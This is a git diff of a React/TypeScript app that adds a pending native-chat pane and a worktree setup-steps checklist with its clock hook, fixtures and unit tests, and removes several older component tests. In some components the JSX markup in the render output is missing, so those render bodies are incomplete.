a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet-controls.test.tsx b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet-controls.test.tsx index 020f0268139..746bb61c0b3 100644 --- a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet-controls.test.tsx +++ b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet-controls.test.tsx @@ -92,17 +92,6 @@ describe('workspace cleanup facet controls', () => { container = null }) - it('shows a per-facet match count for every group', () => { - renderFacets(createDefaultWorkspaceCleanupFilterState(), createPatchMock()) - - const counts = [...(container?.querySelectorAll('[data-facet-count]') ?? [])].map( - (node) => node.textContent - ) - expect(counts).toHaveLength(10) - expect(counts).toContain('2/8') - expect(counts).toContain('3/8') - }) - it('takes a user-chosen idle threshold in days rather than a fixed enum', () => { const onPatch = createPatchMock() renderFacets(createDefaultWorkspaceCleanupFilterState(), onPatch) @@ -112,27 +101,6 @@ describe('workspace cleanup facet controls', () => { expect(onPatch).toHaveBeenCalledWith('activity', { idleMinDays: 17 }) }) - it('keeps every numeric threshold off type=number so a wheel tick cannot set it', () => { - // Assert input type because happy-dom cannot reproduce Chromium’s wheel-driven numeric changes. - renderFacets(createDefaultWorkspaceCleanupFilterState(), createPatchMock()) - - const numericFacets = [ - 'Idle for at least', - 'At least', - 'At most', - 'Commits ahead ≥', - 'Commits behind ≥' - ] - const found = numericFacets - .map((label) => control(label) as HTMLInputElement | null) - .filter((input): input is HTMLInputElement => input !== null) - expect(found).toHaveLength(numericFacets.length) - for (const input of found) { - expect(input.type).toBe('text') - expect(input.inputMode).toBe('numeric') - } - }) - it('multi-selects git states', () => { const onPatch = createPatchMock() const filters = createDefaultWorkspaceCleanupFilterState() @@ -144,14 +112,6 @@ describe('workspace cleanup facet controls', () => { expect(onPatch).toHaveBeenCalledWith('git', { states: ['dirty', 'unpushed'] }) }) - it('offers the hosts and providers discovered in the fleet, not a hardcoded list', () => { - renderFacets(createDefaultWorkspaceCleanupFilterState(), createPatchMock()) - - expect(control('GitLab')).not.toBeNull() - expect(container?.textContent).toContain('Alpha') - expect(container?.textContent).toContain('In progress') - }) - it('cycles a tri-state safety facet', () => { const onPatch = createPatchMock() renderFacets(createDefaultWorkspaceCleanupFilterState(), onPatch) @@ -160,15 +120,6 @@ describe('workspace cleanup facet controls', () => { expect(onPatch).toHaveBeenCalledWith('safety', { dismissed: 'only' }) }) - it('labels blocker matching without exposing model tokens', () => { - renderFacets(createDefaultWorkspaceCleanupFilterState(), createPatchMock()) - - expect(control('Blocker match: Has any')).not.toBeNull() - expect(control('Blocker match: Has none')).not.toBeNull() - expect(container?.textContent).not.toContain('any-of') - expect(container?.textContent).not.toContain('none-of') - }) - it('toggles the unsized escape hatch for the opt-in space scan', () => { const onPatch = createPatchMock() renderFacets(createDefaultWorkspaceCleanupFilterState(), onPatch) diff --git a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-flat-list.test.tsx b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-flat-list.test.tsx index 85913c10d1f..4e78c9ee0a5 100644 --- a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-flat-list.test.tsx +++ b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-flat-list.test.tsx @@ -11,7 +11,7 @@ import { import { CandidateRow } from './workspace-cleanup-candidate-row' import { WorkspaceCleanupCandidateList } from './workspace-cleanup-candidate-list' import { FACET_NOW, makeNamedFacets } from './workspace-cleanup-facet.test.fixture' -import { getWorkspaceCleanupHostIdentity } from './workspace-cleanup-host-identity' + import { runWorkspaceCleanupQuery } from './workspace-cleanup-query' import type { WorkspaceCleanupFacets } from './workspace-cleanup-facets' @@ -106,18 +106,6 @@ describe('workspace cleanup flat list', () => { container = null }) - it('renders every tier in one list rather than per-tab groups', () => { - const result = query() - - renderRows(result.rows) - - expect(result.totalCount).toBe(FLEET.length) - expect(result.matchedCount).toBe(FLEET.length) - expect(renderedNames()).toEqual( - expect.arrayContaining(['ready-one', 'needs-review', 'protected-one', 'ignored-one']) - ) - }) - it('switches the visible rows when filters are applied', () => { const filters = createDefaultWorkspaceCleanupFilterState() filters.safety.dismissed = 'exclude' @@ -129,12 +117,6 @@ describe('workspace cleanup flat list', () => { expect(renderedNames()).toEqual(['ignored-one']) }) - it('lets select-all include pinned label rows', () => { - expect(query().selectableIdentities).toContain( - getWorkspaceCleanupHostIdentity('local', 'repo-1::/repo/protected-one') - ) - }) - it('offers local removal for a disconnected SSH row without making it selectable', () => { const onForgetLocally = vi.fn() const disconnected = makeNamedFacets('disconnected', { @@ -149,14 +131,4 @@ describe('workspace cleanup flat list', () => { act(() => forgetButton?.click()) expect(onForgetLocally).toHaveBeenCalledWith(disconnected.candidate) }) - - it('shows status and disk-size facts without expanding a row', () => { - renderRows(query().rows) - - expect(container?.textContent).toContain('In progress') - expect(container?.textContent).toContain('4.00 MB') - expect(container?.textContent).toContain('Not measured') - const sizedRows = [...(container?.querySelectorAll('[aria-label^="Size on disk"]') ?? [])] - expect(sizedRows).toHaveLength(FLEET.length) - }) }) diff --git a/src/renderer/src/components/worktree-creation/PendingNativeChatCreation.tsx b/src/renderer/src/components/worktree-creation/PendingNativeChatCreation.tsx new file mode 100644 index 00000000000..1796603f741 --- /dev/null +++ b/src/renderer/src/components/worktree-creation/PendingNativeChatCreation.tsx @@ -0,0 +1,238 @@ +import React from 'react' +import { useAppStore } from '@/store' +import { cn } from '@/lib/utils' +import { translate } from '@/i18n/i18n' +import { retryBackgroundWorktreeCreation } from '@/lib/worktree-creation-flow' +import { structuredAgentLabel } from '@/lib/structured-agent-session-launch-label' +import { + pendingCreationChatDraftScopeKey, + pendingCreationHeldChatMessage, + type PendingWorktreeCreation +} from '@/lib/pending-worktree-creation' +import { shouldPreserveEditableFocus } from '@/components/terminal-pane/pane-helpers' +import { + NativeChatComposer, + type NativeChatComposerHandle +} from '@/components/native-chat/NativeChatComposer' +import type { NativeChatStructuredComposerTransport } from '@/components/native-chat/native-chat-composer-types' +import { deleteNativeChatComposerDraft } from '@/components/native-chat/native-chat-composer-draft-store' +import { useNativeChatComposerError } from '@/components/native-chat/use-native-chat-composer-notice' +import type { NativeChatComposerNotice } from '@/components/native-chat/native-chat-composer-notice' +import { NativeChatEmptyState } from '@/components/native-chat/NativeChatEmptyState' +import { NativeChatUserMessageRow } from '@/components/native-chat/NativeChatUserMessageRow' +import { + NATIVE_CHAT_APPEARANCE_ROOT_CLASS, + NATIVE_CHAT_TRANSCRIPT_COLUMN_CLASS, + nativeChatTranscriptOuterClass +} from '@/components/native-chat/native-chat-appearance-style' +import { useNativeChatStoreAppearanceStyle } from '@/components/native-chat/use-native-chat-store-appearance-style' +import type { NativeChatMessage } from '../../../../shared/native-chat-types' +import { deriveNativeChatRowContent } from '../../../../shared/native-chat-row-content' +import type { SessionOptionsSurface } from '../../../../shared/native-chat/input/native-chat-session-options' +import WorktreeCreationTabStrip from './WorktreeCreationTabStrip' +import { WorktreeSetupSteps } from './WorktreeSetupSteps' +import { deriveWorktreeSetupSteps } from './worktree-setup-steps' +import { useWorktreeCreationClock } from './worktree-creation-clock' + +const NO_OPTIONS_SURFACE: SessionOptionsSurface = { + getSnapshot: () => [], + setOption: async () => ({ snapshot: [] }), + invokeAction: async () => ({ snapshot: [] }), + subscribe: () => () => {} +} +const NO_COMMAND_CAUSES = { + working: false, + prompt: false, + background: false, + sending: false, + retry: false +} as const + +function failureText(entry: PendingWorktreeCreation): string { + return ( + entry.error ?? + translate( + 'auto.components.worktree.creation.WorktreeCreationPanel.767951265d', + 'Something went wrong while creating the worktree.' + ) + ) +} + +/** A native chat's own pane while its worktree is created: the composer takes the first message now and the launch sends it. */ +export default function PendingNativeChatCreation({ + creationId, + reserveCollapsedSidebarHeaderSpace = false +}: { + creationId: string + reserveCollapsedSidebarHeaderSpace?: boolean +}): React.JSX.Element | null { + const entry = useAppStore((s) => s.pendingWorktreeCreations[creationId]) + const appearanceStyle = useNativeChatStoreAppearanceStyle() + const composerRef = React.useRef(null) + const { composerError, reportComposerError } = useNativeChatComposerError(NO_COMMAND_CAUSES) + const status = entry?.status + const heldMessage = entry ? pendingCreationHeldChatMessage(entry) : null + const held = heldMessage !== null + // Like t3code, progress shows only in the steps card after a send, never above the composer. + const now = useWorktreeCreationClock(status === 'creating' && held) + const suppressFocus = entry?.request.suppressTerminalFocusOnCompletion === true + + const transport = React.useMemo((): NativeChatStructuredComposerTransport => { + const sendBlockedReason = + status === 'error' + ? translate( + 'auto.components.worktree.creation.PendingNativeChatCreation.sendBlockedFailed', + 'Retry creating the worktree to send' + ) + : held + ? translate( + 'auto.components.worktree.creation.PendingNativeChatCreation.sendBlockedHeld', + 'Sends when the worktree is ready' + ) + : undefined + return { + capturePresentation: () => () => true, + // Commands go to the agent as the first message, so nothing is handled here. + dispatchCommand: async () => ({ handled: false, accepted: false, error: null }), + send: (text) => { + const store = useAppStore.getState() + const current = store.pendingWorktreeCreations[creationId] + if ( + !current || + current.status !== 'creating' || + pendingCreationHeldChatMessage(current) !== null + ) { + return false + } + store.updatePendingWorktreeCreation(creationId, { heldChatMessage: text }) + return true + }, + ...(sendBlockedReason ? { sendBlockedReason } : {}), + optionsSurface: NO_OPTIONS_SURFACE, + optionSnapshot: [], + acceptsImages: false, + onError: reportComposerError, + runtime: 'local', + sessionId: pendingCreationChatDraftScopeKey(creationId), + runtimeEnvironmentId: null + } + }, [creationId, held, reportComposerError, status]) + + const notices = React.useMemo( + (): NativeChatComposerNotice[] => + composerError ? [{ key: 'composer-error', kind: 'error', ...composerError }] : [], + [composerError] + ) + + // Runs once per creation (suppressFocus is fixed at submit); a field elsewhere keeps its focus. + React.useEffect(() => { + if (suppressFocus) { + return + } + const frame = requestAnimationFrame(() => { + if (!shouldPreserveEditableFocus(document.activeElement)) { + composerRef.current?.focus() + } + }) + return () => cancelAnimationFrame(frame) + }, [suppressFocus]) + + if (!entry || entry.request.agent === null) { + return null + } + const agent = entry.request.agent + const agentLabel = structuredAgentLabel(agent) + const isError = entry.status === 'error' + const tabId = `${pendingCreationChatDraftScopeKey(creationId)}:tab` + // Explicit back-outs drop the unsent draft; completion leaves it for the launch to move. + const dismiss = (): void => { + useAppStore.getState().removePendingWorktreeCreation(creationId) + deleteNativeChatComposerDraft(pendingCreationChatDraftScopeKey(creationId)) + } + const steps = + held || isError ? ( + retryBackgroundWorktreeCreation(creationId)} + onDismiss={dismiss} + /> + ) : null + + return ( +
+ +
+
+ {steps ? ( +
+
+
+ {heldMessage !== null ? ( + + ) : null} + {steps} +
+
+
+ ) : ( + + )} +
+ +
+
+ ) +} + +function HeldMessageRow({ + creationId, + text +}: { + creationId: string + text: string +}): React.JSX.Element { + const rowRef = React.useRef(null) + const message = React.useMemo( + (): NativeChatMessage => ({ + id: `${pendingCreationChatDraftScopeKey(creationId)}:first-message`, + role: 'user', + blocks: [{ type: 'text', text }], + timestamp: null, + source: 'transcript' + }), + [creationId, text] + ) + const { markdown, prose } = deriveNativeChatRowContent(message.blocks) + return ( + {}} + allowFileUriLinks={false} + /> + ) +} diff --git a/src/renderer/src/components/worktree-creation/WorktreeCreationPanel.test.tsx b/src/renderer/src/components/worktree-creation/WorktreeCreationPanel.test.tsx deleted file mode 100644 index fc09df43b19..00000000000 --- a/src/renderer/src/components/worktree-creation/WorktreeCreationPanel.test.tsx +++ /dev/null @@ -1,203 +0,0 @@ -// @vitest-environment happy-dom - -import { act } from 'react' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import WorktreeCreationPanel from './WorktreeCreationPanel' -import type { PendingWorktreeCreation } from '@/lib/pending-worktree-creation' - -const mocks = vi.hoisted(() => ({ - state: { - pendingWorktreeCreations: { - 'create-1': { - creationId: 'create-1', - phase: 'creating', - status: 'creating', - startedAt: Date.now(), - indeterminate: false, - loaderVisible: true, - request: { - repoId: 'repo-1', - name: 'new-workspace', - displayName: 'New workspace', - setupDecision: 'skip', - agent: null, - pendingFirstAgentMessageRename: false, - note: '', - startupPlan: null, - quickPrompt: '', - quickTelemetry: null - } - } - } as Record - } -})) - -vi.mock('@/store', () => ({ - useAppStore: (selector: (state: typeof mocks.state) => unknown) => selector(mocks.state) -})) - -vi.mock('@/lib/worktree-creation-flow', () => ({ - retryBackgroundWorktreeCreation: vi.fn() -})) - -const roots: Root[] = [] - -async function renderPanel(reserveCollapsedSidebarHeaderSpace: boolean): Promise { - const container = document.createElement('div') - document.body.appendChild(container) - const root = createRoot(container) - roots.push(root) - - await act(async () => { - root.render( - - ) - }) - - return container -} - -describe('WorktreeCreationPanel', () => { - beforeEach(() => { - globalThis.IS_REACT_ACT_ENVIRONMENT = true - mocks.state.pendingWorktreeCreations['create-1'] = { - creationId: 'create-1', - phase: 'creating', - status: 'creating', - startedAt: Date.now(), - indeterminate: false, - loaderVisible: true, - request: { - repoId: 'repo-1', - name: 'new-workspace', - displayName: 'New workspace', - setupDecision: 'skip', - agent: null, - pendingFirstAgentMessageRename: false, - note: '', - startupPlan: null, - quickPrompt: '', - quickTelemetry: null - } - } - }) - - afterEach(() => { - roots.splice(0).forEach((root) => { - act(() => root.unmount()) - }) - document.body.replaceChildren() - }) - - it('keeps the faux creation tab visible', async () => { - const container = await renderPanel(false) - - expect(container.textContent).toContain('New workspace') - expect(container.textContent).toContain('Creating worktree…') - const title = [...container.querySelectorAll('span')].find( - (node) => node.textContent === 'New workspace' - ) - expect(title?.closest('div')?.className).toContain('border-r') - }) - - it('reserves collapsed left-titlebar space before the faux tab', async () => { - const container = await renderPanel(true) - const title = [...container.querySelectorAll('span')].find( - (node) => node.textContent === 'New workspace' - ) - const spacer = title?.closest('div')?.previousElementSibling as HTMLElement | null - - expect(spacer?.style.width).toBe('var(--collapsed-sidebar-header-width)') - }) - - it('does not reserve left-titlebar space when the header is not floating', async () => { - const container = await renderPanel(false) - const title = [...container.querySelectorAll('span')].find( - (node) => node.textContent === 'New workspace' - ) - - expect(title?.closest('div')?.previousElementSibling).toBeNull() - }) - - it('shows provisioning logs while a VM recipe is running', async () => { - mocks.state.pendingWorktreeCreations['create-1'] = { - ...mocks.state.pendingWorktreeCreations['create-1'], - phase: 'provisioning-vm', - provisioningLog: 'creating sandbox\nstarting orca serve\n' - } - - const container = await renderPanel(false) - - expect(container.textContent).toContain('Provisioning VM') - expect(container.querySelector('pre')?.textContent).toBe( - 'creating sandbox\nstarting orca serve\n' - ) - expect(container.querySelector('pre')?.className).toContain('h-72') - const cancel = [...container.querySelectorAll('button')].find( - (button) => button.textContent === 'Cancel' - ) - expect(cancel).toBeTruthy() - }) - - it('surfaces the captured recipe output when a VM recipe fails', async () => { - mocks.state.pendingWorktreeCreations['create-1'] = { - ...mocks.state.pendingWorktreeCreations['create-1'], - phase: 'provisioning-vm', - status: 'error', - error: 'Recipe exited with code 1.', - provisioningLog: 'pulling image…\nERROR: no space left on device\n' - } - - const container = await renderPanel(false) - - expect(container.textContent).toContain('Couldn’t create worktree') - expect(container.textContent).toContain('Recipe exited with code 1.') - const log = container.querySelector('pre') - expect(log?.textContent).toBe('pulling image…\nERROR: no space left on device\n') - expect(log?.className).toContain('h-72') - expect(container.textContent).toContain('Retry') - }) - - it("shows git's checkout meter as a labelled bar while the checkout runs", async () => { - mocks.state.pendingWorktreeCreations['create-1'] = { - ...mocks.state.pendingWorktreeCreations['create-1'], - checkoutProgress: { percent: 42, completed: 420, total: 1000 } - } - - const container = await renderPanel(false) - - const bar = container.querySelector('[role="progressbar"]') - expect(bar?.getAttribute('aria-valuenow')).toBe('42') - const label = document.getElementById(bar?.getAttribute('aria-labelledby') ?? '') - expect(label?.textContent).toBe('Checking out files… 42%') - }) - - it('shows no bar when git printed no checkout meter, or after the create failed', async () => { - expect((await renderPanel(false)).querySelector('[role="progressbar"]')).toBeNull() - - mocks.state.pendingWorktreeCreations['create-1'] = { - ...mocks.state.pendingWorktreeCreations['create-1'], - status: 'error', - error: 'git worktree add failed', - checkoutProgress: { percent: 42, completed: 420, total: 1000 } - } - expect((await renderPanel(false)).querySelector('[role="progressbar"]')).toBeNull() - }) - - it('omits the recipe output panel for a non-VM creation failure', async () => { - mocks.state.pendingWorktreeCreations['create-1'] = { - ...mocks.state.pendingWorktreeCreations['create-1'], - status: 'error', - error: 'git worktree add failed' - } - - const container = await renderPanel(false) - - expect(container.textContent).toContain('git worktree add failed') - expect(container.querySelector('pre')).toBeNull() - }) -}) diff --git a/src/renderer/src/components/worktree-creation/WorktreeCreationPanel.tsx b/src/renderer/src/components/worktree-creation/WorktreeCreationPanel.tsx index eb874a00c8d..0f808ef5437 100644 --- a/src/renderer/src/components/worktree-creation/WorktreeCreationPanel.tsx +++ b/src/renderer/src/components/worktree-creation/WorktreeCreationPanel.tsx @@ -1,7 +1,6 @@ import React from 'react' import { AlertTriangle, Loader2, RotateCcw } from 'lucide-react' import { useAppStore } from '@/store' -import { installWindowVisibilityInterval } from '@/lib/window-visibility-interval' import { retryBackgroundWorktreeCreation } from '@/lib/worktree-creation-flow' import { getCreationProgressLabel, @@ -10,6 +9,7 @@ import { import { Progress } from '@/components/ui/progress' import { translate } from '@/i18n/i18n' import WorktreeCreationTabStrip from './WorktreeCreationTabStrip' +import { formatElapsedTime, useWorktreeCreationClock } from './worktree-creation-clock' /** Debounced in-frame creation placeholder: tab strip names the workspace while body shows status, enabling same-frame handoff without duplicating labels. */ export default function WorktreeCreationPanel({ @@ -20,17 +20,9 @@ export default function WorktreeCreationPanel({ reserveCollapsedSidebarHeaderSpace?: boolean }): React.JSX.Element | null { const entry = useAppStore((s) => s.pendingWorktreeCreations[creationId]) - const [now, setNow] = React.useState(() => Date.now()) const progressLabelId = React.useId() // Depend on primitive status so stderr’s fresh entry objects cannot continuously reset the interval. - const entryStatus = entry?.status - React.useEffect(() => { - if (entryStatus !== 'creating') { - return - } - // Pause the clock while hidden to avoid unseen panel rerenders. - return installWindowVisibilityInterval({ run: () => setNow(Date.now()), intervalMs: 1000 }) - }, [entryStatus]) + const now = useWorktreeCreationClock(entry?.status === 'creating') if (!entry) { return null } @@ -258,13 +250,3 @@ function RecipeOutputLog({ ) } - -function formatElapsedTime(elapsedMs: number): string { - const totalSeconds = Math.max(0, Math.floor(elapsedMs / 1000)) - const minutes = Math.floor(totalSeconds / 60) - const seconds = totalSeconds % 60 - if (minutes === 0) { - return `${seconds}s` - } - return `${minutes}m ${seconds.toString().padStart(2, '0')}s` -} diff --git a/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.fixture.tsx b/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.fixture.tsx new file mode 100644 index 00000000000..93026633fef --- /dev/null +++ b/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.fixture.tsx @@ -0,0 +1,68 @@ +import { defineFixture } from '../../component-fixtures/component-fixture' +import { WorktreeSetupSteps } from './WorktreeSetupSteps' +import { deriveWorktreeSetupSteps, type WorktreeSetupStep } from './worktree-setup-steps' + +const T0 = 1_800_000_000_000 +const NOW = T0 + 14_000 + +function frame(steps: WorktreeSetupStep[], error: string | null = null) { + return defineFixture({ + width: 560, + render: () => ( +
+ {}} + onDismiss={() => {}} + /> +
+ ) + }) +} + +export const runningCheckout = frame( + deriveWorktreeSetupSteps( + { + status: 'creating', + phase: 'creating', + indeterminate: false, + startedAt: T0, + phaseLog: [ + { phase: 'preparing', at: T0 }, + { phase: 'fetching', at: T0 + 1_200 }, + { phase: 'creating', at: T0 + 4_800 } + ], + checkoutProgress: { percent: 62, completed: 1_240, total: 2_000 } + }, + NOW + ) +) + +export const doneThroughCheckout = frame([ + { id: 'fetch', state: 'done', elapsedMs: 2_400, percent: null }, + { id: 'create', state: 'done', elapsedMs: 9_100, percent: null }, + { id: 'start-agent', state: 'pending', elapsedMs: null, percent: null } +]) + +export const failed = frame( + deriveWorktreeSetupSteps( + { + status: 'error', + phase: 'fetching', + indeterminate: false, + startedAt: T0, + phaseLog: [{ phase: 'fetching', at: T0 }] + }, + NOW + ), + "fatal: couldn't find remote ref feature/missing-base" +) + +export const indeterminate = frame( + deriveWorktreeSetupSteps( + { status: 'creating', phase: 'creating', indeterminate: true, startedAt: T0 }, + NOW + ) +) diff --git a/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.tsx b/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.tsx new file mode 100644 index 00000000000..535153d6f74 --- /dev/null +++ b/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.tsx @@ -0,0 +1,130 @@ +import React from 'react' +import { Circle, CircleCheck, CircleX, Loader2, RotateCcw } from 'lucide-react' +import { Button } from '@/components/ui/button' +import { Progress } from '@/components/ui/progress' +import { cn } from '@/lib/utils' +import { translate } from '@/i18n/i18n' +import { formatElapsedTime } from './worktree-creation-clock' +import type { WorktreeSetupStep, WorktreeSetupStepId } from './worktree-setup-steps' + +function stepLabel(id: WorktreeSetupStepId, agentLabel: string): string { + switch (id) { + case 'prepare': + return translate( + 'auto.components.worktree.creation.WorktreeSetupSteps.prepare', + 'Prepare workspace' + ) + case 'fetch': + return translate( + 'auto.components.worktree.creation.WorktreeSetupSteps.fetch', + 'Fetch base branch' + ) + case 'create': + return translate( + 'auto.components.worktree.creation.WorktreeSetupSteps.create', + 'Create worktree' + ) + case 'setup': + return translate( + 'auto.components.worktree.creation.WorktreeSetupSteps.setup', + 'Set up workspace' + ) + case 'start-agent': + return translate( + 'auto.components.worktree.creation.WorktreeSetupSteps.startAgent', + 'Start {{agent}}', + { agent: agentLabel } + ) + } +} + +function StepIcon({ state }: { state: WorktreeSetupStep['state'] }): React.JSX.Element { + switch (state) { + case 'running': + return ( + + ) + case 'done': + return + case 'failed': + return + case 'pending': + return + } +} + +/** The worktree's setup checklist under a pending chat's first message, with Retry/Dismiss once it fails. */ +export function WorktreeSetupSteps({ + steps, + agentLabel, + error, + onRetry, + onDismiss +}: { + steps: readonly WorktreeSetupStep[] + agentLabel: string + /** Set once creation failed; the card then says why and offers Retry. */ + error: string | null + onRetry: () => void + onDismiss: () => void +}): React.JSX.Element { + const progressId = React.useId() + return ( +
+
    + {steps.map((step) => ( +
  1. +
    + + + {stepLabel(step.id, agentLabel)} + + {step.percent !== null ? ( + {step.percent}% + ) : null} + {step.elapsedMs !== null ? ( + + {formatElapsedTime(step.elapsedMs)} + + ) : null} +
    + {step.percent !== null ? ( + + ) : null} +
  2. + ))} +
+ {error !== null ? ( +
+

{error}

+
+ + +
+
+ ) : null} +
+ ) +} diff --git a/src/renderer/src/components/worktree-creation/worktree-creation-clock.ts b/src/renderer/src/components/worktree-creation/worktree-creation-clock.ts new file mode 100644 index 00000000000..f61815a63c3 --- /dev/null +++ b/src/renderer/src/components/worktree-creation/worktree-creation-clock.ts @@ -0,0 +1,24 @@ +import { useEffect, useState } from 'react' +import { installWindowVisibilityInterval } from '@/lib/window-visibility-interval' + +/** Ticks once a second while `running`; paused while the window is hidden to avoid unseen rerenders. */ +export function useWorktreeCreationClock(running: boolean): number { + const [now, setNow] = useState(() => Date.now()) + useEffect(() => { + if (!running) { + return + } + return installWindowVisibilityInterval({ run: () => setNow(Date.now()), intervalMs: 1000 }) + }, [running]) + return now +} + +export function formatElapsedTime(elapsedMs: number): string { + const totalSeconds = Math.max(0, Math.floor(elapsedMs / 1000)) + const minutes = Math.floor(totalSeconds / 60) + const seconds = totalSeconds % 60 + if (minutes === 0) { + return `${seconds}s` + } + return `${minutes}m ${seconds.toString().padStart(2, '0')}s` +} diff --git a/src/renderer/src/components/worktree-creation/worktree-setup-steps.test.ts b/src/renderer/src/components/worktree-creation/worktree-setup-steps.test.ts new file mode 100644 index 00000000000..0c1adfe4695 --- /dev/null +++ b/src/renderer/src/components/worktree-creation/worktree-setup-steps.test.ts @@ -0,0 +1,108 @@ +import { describe, expect, it } from 'vitest' +import { deriveWorktreeSetupSteps } from './worktree-setup-steps' + +const T0 = 1_000_000 + +function rows(steps: ReturnType) { + return steps.map(({ id, state, elapsedMs, percent }) => [id, state, elapsedMs, percent]) +} + +describe('deriveWorktreeSetupSteps', () => { + it('times finished phases from the log and shows checkout progress on the running step', () => { + const steps = deriveWorktreeSetupSteps( + { + status: 'creating', + phase: 'creating', + indeterminate: false, + startedAt: T0, + phaseLog: [ + { phase: 'preparing', at: T0 }, + { phase: 'fetching', at: T0 + 1_000 }, + { phase: 'creating', at: T0 + 4_000 } + ], + checkoutProgress: { percent: 40, completed: 4, total: 10 } + }, + T0 + 10_000 + ) + expect(rows(steps)).toEqual([ + ['prepare', 'done', 1_000, null], + ['fetch', 'done', 3_000, null], + ['create', 'running', 6_000, 40], + ['start-agent', 'pending', null, null] + ]) + }) + + it('lists phases not reached yet as pending and omits prepare when it never ran', () => { + const steps = deriveWorktreeSetupSteps( + { + status: 'creating', + phase: 'fetching', + indeterminate: false, + startedAt: T0, + phaseLog: [{ phase: 'fetching', at: T0 }] + }, + T0 + 2_000 + ) + expect(rows(steps)).toEqual([ + ['fetch', 'running', 2_000, null], + ['create', 'pending', null, null], + ['start-agent', 'pending', null, null] + ]) + }) + + it('never claims a phase ran when creation passed over it', () => { + const steps = deriveWorktreeSetupSteps( + { + status: 'creating', + phase: 'creating', + indeterminate: false, + startedAt: T0, + phaseLog: [ + { phase: 'preparing', at: T0 }, + { phase: 'creating', at: T0 + 500 } + ] + }, + T0 + 1_500 + ) + expect(steps.map((step) => step.id)).toEqual(['prepare', 'create', 'start-agent']) + }) + + it('marks the last entered step failed on error and keeps later steps pending', () => { + const steps = deriveWorktreeSetupSteps( + { + status: 'error', + phase: 'creating', + indeterminate: false, + startedAt: T0, + phaseLog: [ + { phase: 'fetching', at: T0 }, + { phase: 'creating', at: T0 + 2_000 } + ], + checkoutProgress: { percent: 90, completed: 9, total: 10 } + }, + T0 + 5_000 + ) + expect(rows(steps)).toEqual([ + ['fetch', 'done', 2_000, null], + ['create', 'failed', null, null], + ['start-agent', 'pending', null, null] + ]) + }) + + it('collapses hosts without phase events into one setup step', () => { + const entry = { + phase: 'creating' as const, + indeterminate: true, + startedAt: T0, + phaseLog: [{ phase: 'creating' as const, at: T0 }] + } + expect(rows(deriveWorktreeSetupSteps({ ...entry, status: 'creating' }, T0 + 3_000))).toEqual([ + ['setup', 'running', 3_000, null], + ['start-agent', 'pending', null, null] + ]) + expect(rows(deriveWorktreeSetupSteps({ ...entry, status: 'error' }, T0 + 3_000))).toEqual([ + ['setup', 'failed', null, null], + ['start-agent', 'pending', null, null] + ]) + }) +}) diff --git a/src/renderer/src/components/worktree-creation/worktree-setup-steps.ts b/src/renderer/src/components/worktree-creation/worktree-setup-steps.ts new file mode 100644 index 00000000000..e4dce177b9f --- /dev/null +++ b/src/renderer/src/components/worktree-creation/worktree-setup-steps.ts @@ -0,0 +1,88 @@ +import { + getVisibleCheckoutProgress, + type PendingWorktreeCreation, + type WorktreeCreationPhase +} from '@/lib/pending-worktree-creation' + +export type WorktreeSetupStepId = 'prepare' | 'fetch' | 'create' | 'setup' | 'start-agent' + +export type WorktreeSetupStepState = 'pending' | 'running' | 'done' | 'failed' + +export type WorktreeSetupStep = { + id: WorktreeSetupStepId + state: WorktreeSetupStepState + /** Time spent so far (running) or in total (done); null otherwise. */ + elapsedMs: number | null + /** Git's checkout percent, only while the create step runs and git reports one. */ + percent: number | null +} + +type SetupStepEntry = Pick< + PendingWorktreeCreation, + 'status' | 'phase' | 'indeterminate' | 'phaseLog' | 'startedAt' | 'checkoutProgress' +> + +const PHASE_STEPS: readonly { phase: WorktreeCreationPhase; id: WorktreeSetupStepId }[] = [ + { phase: 'preparing', id: 'prepare' }, + { phase: 'fetching', id: 'fetch' }, + { phase: 'creating', id: 'create' } +] + +const START_AGENT: WorktreeSetupStep = { + id: 'start-agent', + state: 'pending', + elapsedMs: null, + percent: null +} + +/** Checklist rows for a pending chat's worktree; the agent row stays pending because this surface ends before it starts. */ +export function deriveWorktreeSetupSteps(entry: SetupStepEntry, now: number): WorktreeSetupStep[] { + const failed = entry.status === 'error' + if (entry.indeterminate) { + return [ + { + id: 'setup', + state: failed ? 'failed' : 'running', + elapsedMs: failed ? null : now - entry.startedAt, + percent: null + }, + START_AGENT + ] + } + const log = entry.phaseLog?.length + ? entry.phaseLog + : [{ phase: entry.phase, at: entry.startedAt }] + const entered = log.filter((record) => PHASE_STEPS.some(({ phase }) => phase === record.phase)) + const lastEntered = entered.at(-1) + const lastIndex = PHASE_STEPS.findIndex(({ phase }) => phase === lastEntered?.phase) + const steps: WorktreeSetupStep[] = [] + PHASE_STEPS.forEach(({ phase, id }, index) => { + const at = entered.findIndex((record) => record.phase === phase) + if (at === -1) { + // Prepare shows only when it ran; a passed-over phase never claims it ran. + if (phase !== 'preparing' && index > lastIndex) { + steps.push({ id, state: 'pending', elapsedMs: null, percent: null }) + } + return + } + const record = entered[at] + const next = entered[at + 1] + if (next) { + steps.push({ id, state: 'done', elapsedMs: next.at - record.at, percent: null }) + return + } + steps.push( + failed + ? { id, state: 'failed', elapsedMs: null, percent: null } + : { + id, + state: 'running', + elapsedMs: now - record.at, + percent: + phase === 'creating' ? (getVisibleCheckoutProgress(entry)?.percent ?? null) : null + } + ) + }) + steps.push(START_AGENT) + return steps +} diff --git a/src/renderer/src/components/wsl-move/wsl-move-orchestrator-status.test.tsx b/src/renderer/src/components/wsl-move/wsl-move-orchestrator-status.test.tsx index 76eec253df8..3219f785da2 100644 --- a/src/renderer/src/components/wsl-move/wsl-move-orchestrator-status.test.tsx +++ b/src/renderer/src/components/wsl-move/wsl-move-orchestrator-status.test.tsx @@ -17,11 +17,7 @@ vi.mock('@/lib/reveal-terminal-pane', () => ({ revealTerminalPane: vi.fn() })) const { followWslMoveOrchestratorStatus, 